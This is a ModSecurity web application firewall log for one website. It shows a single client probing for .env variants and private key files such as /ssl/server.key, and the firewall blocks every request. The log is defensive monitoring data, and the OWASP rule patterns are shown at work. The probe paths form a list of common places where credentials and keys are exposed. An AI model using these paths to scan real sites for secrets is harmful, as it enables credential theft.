[Sun Oct 25 10:21:35.546534 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4Qb0sgp-xlBP1GcWOSaQAAABE"]
[Sun Oct 25 10:21:35.546725 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4Qb0sgp-xlBP1GcWOSaQAAABE"]
[Sun Oct 25 10:21:35.547045 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4Qb0sgp-xlBP1GcWOSaQAAABE"]
[Sun Oct 25 10:21:35.548186 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4Qb7zfR6IZTglRqQr3VgAAAAU"]
[Sun Oct 25 10:21:35.548343 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4Qb7zfR6IZTglRqQr3VgAAAAU"]
[Sun Oct 25 10:21:35.548572 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4Qb7zfR6IZTglRqQr3VgAAAAU"]
[Sun Oct 25 10:21:35.562640 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4Qb6Z77hUnuhW6b3ZPPAAAAAA"]
[Sun Oct 25 10:21:35.562921 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4Qb6Z77hUnuhW6b3ZPPAAAAAA"]
[Sun Oct 25 10:21:35.563150 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4Qb6Z77hUnuhW6b3ZPPAAAAAA"]
[Sun Oct 25 10:21:35.575077 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4Qb_WU2HQBncZeY47FLgAAAAQ"]
[Sun Oct 25 10:21:35.575263 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4Qb_WU2HQBncZeY47FLgAAAAQ"]
[Sun Oct 25 10:21:35.575538 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4Qb_WU2HQBncZeY47FLgAAAAQ"]
[Sun Oct 25 10:21:35.576566 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4QbxQ0jTZBi_DxXWPoKwAAAAk"]
[Sun Oct 25 10:21:35.576823 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4QbxQ0jTZBi_DxXWPoKwAAAAk"]
[Sun Oct 25 10:21:35.577058 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4QbxQ0jTZBi_DxXWPoKwAAAAk"]
[Sun Oct 25 10:21:35.579632 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4Qb4xkYfnWL-SU_mhrhwAAAA0"]
[Sun Oct 25 10:21:35.579901 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4Qb4xkYfnWL-SU_mhrhwAAAA0"]
[Sun Oct 25 10:21:35.580153 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4Qb4xkYfnWL-SU_mhrhwAAAA0"]
[Sun Oct 25 10:21:35.581266 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4Qbx_LOhWZWHwxzGuzZwAAAAo"]
[Sun Oct 25 10:21:35.581422 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4Qbx_LOhWZWHwxzGuzZwAAAAo"]
[Sun Oct 25 10:21:35.581678 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4Qbx_LOhWZWHwxzGuzZwAAAAo"]
[Sun Oct 25 10:21:35.601210 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4Qb4s0PO57ZJRY6eGLkQAAAAg"]
[Sun Oct 25 10:21:35.601505 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4Qb4s0PO57ZJRY6eGLkQAAAAg"]
[Sun Oct 25 10:21:35.601735 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4Qb4s0PO57ZJRY6eGLkQAAAAg"]
[Sun Oct 25 10:21:35.627738 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNegAAABg"]
[Sun Oct 25 10:21:35.627975 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNegAAABg"]
[Sun Oct 25 10:21:35.628292 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNegAAABg"]
[Sun Oct 25 10:21:36.658183 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4QcKZ77hUnuhW6b3ZPPQAAAAA"]
[Sun Oct 25 10:21:36.658365 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4QcKZ77hUnuhW6b3ZPPQAAAAA"]
[Sun Oct 25 10:21:36.658595 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4QcKZ77hUnuhW6b3ZPPQAAAAA"]
[Sun Oct 25 10:21:36.695174 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4QcKGxe7V6jzF5H8VNewAAABg"]
[Sun Oct 25 10:21:36.695329 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4QcKGxe7V6jzF5H8VNewAAABg"]
[Sun Oct 25 10:21:36.695541 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4QcKGxe7V6jzF5H8VNewAAABg"]
[Sun Oct 25 10:21:36.706422 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4QcKQMBVMuq7VW19Ab_gAAAA4"]
[Sun Oct 25 10:21:36.787324 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4QcKQMBVMuq7VW19Ab_gAAAA4"]
[Sun Oct 25 10:21:36.787718 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4QcKQMBVMuq7VW19Ab_gAAAA4"]
